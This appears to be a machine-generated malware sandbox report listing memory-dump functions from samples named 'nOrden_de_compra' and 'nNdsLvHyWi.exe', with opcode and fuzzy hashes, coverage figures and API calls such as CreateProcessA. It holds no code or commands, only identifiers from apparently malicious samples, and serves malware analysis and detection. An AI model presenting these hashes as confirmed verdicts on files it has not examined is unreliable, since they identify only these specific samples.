Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08311386dfb0fde96b88f2bc23606e6afde315ca639bfd21c8bc6802bc6bf2bd
Instruction ID: 1b092fee2832054ecd944b2d92bee74d8f441bd3ef134abaa969d320d94827cc
Opcode Fuzzy Hash: 08311386dfb0fde96b88f2bc23606e6afde315ca639bfd21c8bc6802bc6bf2bd
Instruction Fuzzy Hash: D551F571E01109DFCF54FBB8E4846BEB7B6EF85351F1048A9E206D7251DB359846C780

Uniqueness

Uniqueness Score: -1.00%

Function 06B8FAA8 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70ca684ba9cf088e8be3d8327af8d6bdc33d6e68a460e5bc5b7536c0fa0d640b
Instruction ID: f744fdd1879a7445eef15d77c5e62acab352499823a7ffb3c1f7342937e5b21e
Opcode Fuzzy Hash: 70ca684ba9cf088e8be3d8327af8d6bdc33d6e68a460e5bc5b7536c0fa0d640b
Instruction Fuzzy Hash: AA5194B0F102148FEF6466F8D85477F3A5EDBC9390F205669E50AC7396CA69CC41C792

Uniqueness

Uniqueness Score: -1.00%

Function 06B891A2 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 774eae68589be9d4be2572b0d5320f9ccc6b9474fd0f836322f3572a5638beb7
Instruction ID: f064b1fafa705fd609907d8a3b327b18cde0c0f24976147d7e8ea1121cf28c7d
Opcode Fuzzy Hash: 774eae68589be9d4be2572b0d5320f9ccc6b9474fd0f836322f3572a5638beb7
Instruction Fuzzy Hash: F1510D70B011169FEB54EF69D950B6EB7F6EB89600F108569D80AEF384EB35DC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B8FAB8 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e0c1a20e9870844aa7130ad6187194f707733658b66c490a3dee0d8d9974726
Instruction ID: affe3d6ca16715f91ef985a0b7c058914a212a5acd7ac5db25bdc4f258f2aa78
Opcode Fuzzy Hash: 1e0c1a20e9870844aa7130ad6187194f707733658b66c490a3dee0d8d9974726
Instruction Fuzzy Hash: 95518070B102188BEF64B6F8D85473F395ED7C9390F205669E50AC3396CA69CC41C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 06B84B98 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57326cffa85bae14898fdf04a94565bfb292550cb948257abba639d045935330
Instruction ID: 3441d3b292c859387c1f8217704d981d94433c4e958ae71286cc11cdd4b37167
Opcode Fuzzy Hash: 57326cffa85bae14898fdf04a94565bfb292550cb948257abba639d045935330
Instruction Fuzzy Hash: 29418F70B002199FDB54AFA9C854BAEBBF6FF88700F208529E505AB395DE719C05CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06B85450 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4574223e243f44522a66fdcd6aadf976eb0ab21a93f69d6dabb0799189ce2e95
Instruction ID: ee1e70160cd3fd5aae8c76f97ae6db8c0beee02aaf4462e870dc4920c0f810ea
Opcode Fuzzy Hash: 4574223e243f44522a66fdcd6aadf976eb0ab21a93f69d6dabb0799189ce2e95
Instruction Fuzzy Hash: A4417DB2E006099FDFB0DFA9D880BAFBBB2EB84310F14496AD255D7604D330E855CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B8DB2D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 111a8b0ae0d08197287fbb5ccc3eba7ee773b8c4ec28683b8a6b64d3c553a64d
Instruction ID: 2aa5d60bdfbdbbfd3e4517608f52213989136d62162fecbe7aefa6603e3a7793
Opcode Fuzzy Hash: 111a8b0ae0d08197287fbb5ccc3eba7ee773b8c4ec28683b8a6b64d3c553a64d
Instruction Fuzzy Hash: 6E4191B0E0020ADFDB55EF75C4446AEBBB2FF85340F20456AE401EB281DBB19846CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B821C8 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 125aa8808d7599c4e2bc102950ae6fae906e37b4e00afc9e65d98a83a5bdea54
Instruction ID: fc3e702d3cd041df458c108bb20aa0a65b33979361840906c1e43fd5f4a9c521
Opcode Fuzzy Hash: 125aa8808d7599c4e2bc102950ae6fae906e37b4e00afc9e65d98a83a5bdea54
Instruction Fuzzy Hash: F2319A70B002068FDB58BB75D91466F7BA2EB89600F648568D406DB388EF39DD02CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 06B8207B Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 193927f4eeea20fb46ff296e6f2d4d6ffe69c6a9e6c46350b61c0b54affe43e8
Instruction ID: dd8d77d732c6df632537d6ee8838c294bcf2b049bc71fe3e0c54802c74cbd94f
Opcode Fuzzy Hash: 193927f4eeea20fb46ff296e6f2d4d6ffe69c6a9e6c46350b61c0b54affe43e8
Instruction Fuzzy Hash: F3318070E10216DFDB59EFA5D89469EB7B2FF89300F208529E906E7350DB71AD42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B82088 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf8b5d16d68c840a88f0c1230940f9fd5f433bcc14c7e0feb5b748cefd7efea7
Instruction ID: 3f55452c8a9126cc337c58a240af74d8a6f912686a6d0d3148acea8ece009116
Opcode Fuzzy Hash: cf8b5d16d68c840a88f0c1230940f9fd5f433bcc14c7e0feb5b748cefd7efea7
Instruction Fuzzy Hash: 55318170E10216DFDB59EFA4D85469EB7B2FF89300F208519E906E7350DB71AD42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B83EE0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 112d6990b71b5481fdec30dd38ecb8288020c2012823ea3b9f112c7a48e09184
Instruction ID: 7c9290e33de06624840d2e680a1c4e68ca985e653c7a684ba6280eadc88bdc94
Opcode Fuzzy Hash: 112d6990b71b5481fdec30dd38ecb8288020c2012823ea3b9f112c7a48e09184
Instruction Fuzzy Hash: 4A217FB1F112159FDB50EFA9E840AAEBBF6EB48710F104165E905E7380D731D851CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 06B83EF0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a58d144188a4137948d28c6fa62f20a602286db884c9199d094a10e11805e64
Instruction ID: b7d1ec4d042a3be7e76e35b8dcbed3daeb20543ad5dde5400083c7a920e20c16
Opcode Fuzzy Hash: 6a58d144188a4137948d28c6fa62f20a602286db884c9199d094a10e11805e64
Instruction Fuzzy Hash: 76219DB5F112159FDB40EFA9E880AAEBBF5EB88710F108165E905EB380E731DC50CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0139D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4528843260.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_139d000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3d6de60cb88187310cca6f38e863ba44fb9bceb0fa00a113a7ba2cffd7a5b82
Instruction ID: 9daaa6ae1525b37fc5ada3c46277d92f936defb9354cf846ebb20991908aa14f
Opcode Fuzzy Hash: b3d6de60cb88187310cca6f38e863ba44fb9bceb0fa00a113a7ba2cffd7a5b82
Instruction Fuzzy Hash: 6C2134B6504308EFDF15CF68C9C1B26BB65FB84318F20C56DE90A0B352C77AD846CA61

Uniqueness

Uniqueness Score: -1.00%

Function 06B84000 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b3dc4fc138a346d9f9c6bba50faba9e8c4f52cf98b2ae2914d065087d449d05
Instruction ID: 4523dad343091cc8b24091d9eda5b1162e0ceaf57170a4184d60b42d02bdb12a
Opcode Fuzzy Hash: 0b3dc4fc138a346d9f9c6bba50faba9e8c4f52cf98b2ae2914d065087d449d05
Instruction Fuzzy Hash: 6D118E31B1012A8FDB44EA69D8106AF73E6EBC9611B008579D906E7384EE66DC01CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 06B8423A Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62053e8be8d5712df0feadf0048d35ec8716d1b33b98fcd46683ae5b1b6ea45a
Instruction ID: de3efc52b6ec3f4930ca952804c9d2c3b7cdafd7b7a26ffbcca87d86305e8b05
Opcode Fuzzy Hash: 62053e8be8d5712df0feadf0048d35ec8716d1b33b98fcd46683ae5b1b6ea45a
Instruction Fuzzy Hash: 9F01D271F141620FDB65AABD9410B6FB7D6DBC6610F14896AD40AC7781D959CC02C390

Uniqueness

Uniqueness Score: -1.00%

Function 06B8F211 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a8b835b987e97ab333862529cb91caef86ea9911100327de9112bdbba2eeb6b
Instruction ID: a97eaa1332c9f25e789cfbbc5b7219b3b92bdda4837c886ad48c424a388b0122
Opcode Fuzzy Hash: 8a8b835b987e97ab333862529cb91caef86ea9911100327de9112bdbba2eeb6b
Instruction Fuzzy Hash: FE01B175B001919FDB61EABC9840B3F77DAEBC9750F148469F50ACB340DA6ADC028791

Uniqueness

Uniqueness Score: -1.00%

Function 06B8A368 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63cc60426fa61f6c3e57c5cdd69df1d1f23d09f7eae71a1d4156af2edcd67a82
Instruction ID: 9eeda902cb7707b47c07d68744b00fa613fb3cf7706f9c014efdcf02519eddc8
Opcode Fuzzy Hash: 63cc60426fa61f6c3e57c5cdd69df1d1f23d09f7eae71a1d4156af2edcd67a82
Instruction Fuzzy Hash: 0801F7B0B102214FDB65E67DE860B2F77D6EB86710F10986AE00ADB791EA15DC42C781

Uniqueness

Uniqueness Score: -1.00%

Function 06B838B9 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c433ac8c65f6e04fd8fbb5f879378c49dccf6f9ff9bacfdf95d88ecdac277e39
Instruction ID: 36f3048a2929c4351263c7fbb6ff1e3dd1a03168997eb1d5df5865ecf9380f82
Opcode Fuzzy Hash: c433ac8c65f6e04fd8fbb5f879378c49dccf6f9ff9bacfdf95d88ecdac277e39
Instruction Fuzzy Hash: 5C21B2B5D01259AFDB00DF9AD884A8EFBB8FB49620F50816AE518B7200C7746554CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0139D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4528843260.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_139d000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: eec93a2f9fcced5a429b7549ea49a890769973b22bb4b994799216f187d6db5c
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: 6111DDB6504284CFCB12CF58C9C4B16BFA2FB84318F24C6A9D8494B352C33AD44ACF62

Uniqueness

Uniqueness Score: -1.00%

Function 06B83FEF Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a739ec4c58be466be953da33dd2f1fe6ab53e4a5d1acdf926cfcdc8c0533bdb
Instruction ID: 858af4d43d4915a7540f7a451a8cc04433816f986bb4ae5c9a9b52b9bbdb8f61
Opcode Fuzzy Hash: 7a739ec4c58be466be953da33dd2f1fe6ab53e4a5d1acdf926cfcdc8c0533bdb
Instruction Fuzzy Hash: 7801DF32B101264BDB84A969DC107AF77EBEBC9610F004979E90AE7384EF61CC12C7D6

Uniqueness

Uniqueness Score: -1.00%

Function 06B838C0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9a39021cacb166a8b0d8989d0f259259d6841051aa864c48cae59c42686719
Instruction ID: 3da3683c7ced0b5bc7cb23b9512d54260bedb511494358a58d17733320865335
Opcode Fuzzy Hash: ac9a39021cacb166a8b0d8989d0f259259d6841051aa864c48cae59c42686719
Instruction Fuzzy Hash: 3811C0B5D01259AFDB00DF9AD884A8EFBB4FB48620F50812AE518A7200C374A554CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06B84248 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c52c754a82c77373649d55e415d208a59666f573e7e265d74311414c9e858dc
Instruction ID: 393b5ea991b28805b4576d81cefebbe7f5322e8df52edea62ac637bfe5a8c245
Opcode Fuzzy Hash: 6c52c754a82c77373649d55e415d208a59666f573e7e265d74311414c9e858dc
Instruction Fuzzy Hash: 34016271B241224FDB64EAAD9410B2FB3DADBC5610F209979E50EC7784DD69DC02C395

Uniqueness

Uniqueness Score: -1.00%

Function 06B8F220 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355e5a0e1566ad247cbc8e3c019eb3c584dd729f04d506399de7201ecfb9651d
Instruction ID: 5d65f6c786fc4db4c1628fbd011f5d913853d2ec07616f58ca1364f4225955b6
Opcode Fuzzy Hash: 355e5a0e1566ad247cbc8e3c019eb3c584dd729f04d506399de7201ecfb9651d
Instruction Fuzzy Hash: 86016D75B001568FDB64FAAD9450B3FB3DAEBC9B60F109869F50AC7340DA69DC028791

Uniqueness

Uniqueness Score: -1.00%

Function 06B8A378 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c668d34668dd5de5c414aa150cbb64ba61aed4b0ec216cfea64778c69d2928f
Instruction ID: 2f83e884ebbdac341b15f11c18228ed63d40c238f611f7971e0a28b72a11652f
Opcode Fuzzy Hash: 1c668d34668dd5de5c414aa150cbb64ba61aed4b0ec216cfea64778c69d2928f
Instruction Fuzzy Hash: A5018170B102214FDB64E66DE454B2F73D6DB8A620F109969E10ADB780EA25EC42C781

Uniqueness

Uniqueness Score: -1.00%

Function 06B8C848 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9c9748471d41db29d6c99e849f5490b4f0ca06686a3b5a3313113d2803fc385
Instruction ID: 82a513ec141708e459218ca412d5803b3ab6e9fd2e52e41e906c622574bbd64e
Opcode Fuzzy Hash: a9c9748471d41db29d6c99e849f5490b4f0ca06686a3b5a3313113d2803fc385
Instruction Fuzzy Hash: 5BF0A772E212349BDB14AA66EC006AAB73AF784350F104579D901E7244D771AC04CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 06B8831F Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789047fea4f312023ce40c11fa64f57bf12a26e2bdfeaf2abba061b92660105e
Instruction ID: 668c5f5b0d290ff1ad0daa58d6ee585f0c565de16b405b1471cb365fffc2892b
Opcode Fuzzy Hash: 789047fea4f312023ce40c11fa64f57bf12a26e2bdfeaf2abba061b92660105e
Instruction Fuzzy Hash: 86F08CB6E10124CFDF74BA45EA402ACB7B5FB41312F9844E2E901EB194C331DE82DB80

Uniqueness

Uniqueness Score: -1.00%

Function 06B864A9 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c5c2811b310dbd8062bed3da226252396b07e9eefbf85f980d6c144ab2c6a28
Instruction ID: c8d93222a26183f60c49a9a48c911f92fe0c12635256c16b2b4bb910aafb64e6
Opcode Fuzzy Hash: 3c5c2811b310dbd8062bed3da226252396b07e9eefbf85f980d6c144ab2c6a28
Instruction Fuzzy Hash: 66E092F1E182486FEB50DAB4D90575F7BADD742214F1445E5D404DB282F236CD41C351

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nNdsLvHyWi.exePID: 6640, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	197
Total number of Limit Nodes:	9

Executed Functions

Function 06D12106 Relevance: 1.8, Strings: 1, Instructions: 562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 06D1210B

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 77df2d228825f2494ec75644b5cd1959e0e42b9b369647b0f448cd5692437a28
Instruction ID: 30306b4769ef857704fe599818324f0606930d61c29bb183afabf6495ec96e3c
Opcode Fuzzy Hash: 77df2d228825f2494ec75644b5cd1959e0e42b9b369647b0f448cd5692437a28
Instruction Fuzzy Hash: C652C574A00218DFDB68DF64D998A9DBBB6FF89300F1041D9D509AB365CB35AE81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06D14080 Relevance: 1.0, Instructions: 1042COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2db41af880a0335988ce99a00269c4447b35b0216d4237180c27caababd2121
Instruction ID: 5d5dc2ab254009816195dfca6a6514f2d501bad957dca14630c2e9445bac5133
Opcode Fuzzy Hash: f2db41af880a0335988ce99a00269c4447b35b0216d4237180c27caababd2121
Instruction Fuzzy Hash: 36B2C075E00628DFDB64CF69C984AD9BBB2FF89304F1581E9D509AB225DB319E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06D1E500 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c05dddd8187913f610598884af95919bcd863abab6b592a339662897a992f6bc
Instruction ID: 1f67706e6743e77b6bd660bdb7e3915a280309fd2aa34b2b958e2f164c390565
Opcode Fuzzy Hash: c05dddd8187913f610598884af95919bcd863abab6b592a339662897a992f6bc
Instruction Fuzzy Hash: 4761E6B5E0021C9FDB48DFEAD844AEEBBB6FF89300F148029E519AB254DB745946CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F9CFF1 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00F9D07E
GetCurrentThread.KERNEL32 ref: 00F9D0BB
GetCurrentProcess.KERNEL32 ref: 00F9D0F8
GetCurrentThreadId.KERNEL32 ref: 00F9D151

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d568b10b4cdb4814c9e1220f4df1a4374cec603f4980558bd5564c3df4c77f41
Instruction ID: 476f4d12bc673e015ab64fdf495dc4782436200334d9eb8be0f85bb4400e7757
Opcode Fuzzy Hash: d568b10b4cdb4814c9e1220f4df1a4374cec603f4980558bd5564c3df4c77f41
Instruction Fuzzy Hash: 385166B1D00349CFEB14CFA9D548B9EBBF1AF88314F208459E409A73A1DBB55984CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D000 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00F9D07E
GetCurrentThread.KERNEL32 ref: 00F9D0BB
GetCurrentProcess.KERNEL32 ref: 00F9D0F8
GetCurrentThreadId.KERNEL32 ref: 00F9D151

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 96e0974fa96c77b8f5e784af834a4d6915f292f5fa4d83d11861953d99c37f5b
Instruction ID: 07945c75d5daaabaeaa676b535c0ad8bc0be5e7179a9c50fb9b57034bd5463f4
Opcode Fuzzy Hash: 96e0974fa96c77b8f5e784af834a4d6915f292f5fa4d83d11861953d99c37f5b
Instruction Fuzzy Hash: 0D5144B1D00709CFEB14CFAAD648B9EBBF1AF88314F208459E409A7260DBB55984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 06CD583D Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06CD5A76

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 79e3ffa10256fb829287e5fd85302194be7bdc37c27f4fa3323aedb19863827e
Instruction ID: 3e26bad7e0dd8601194100e8619a07a080ce361b21173316fdfe9742ff858bd5
Opcode Fuzzy Hash: 79e3ffa10256fb829287e5fd85302194be7bdc37c27f4fa3323aedb19863827e
Instruction Fuzzy Hash: 9A916B71D00219DFEF50CF68C841BEDBBB2BF48310F5485A9E908A7280DB759A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06CD5840 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06CD5A76

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
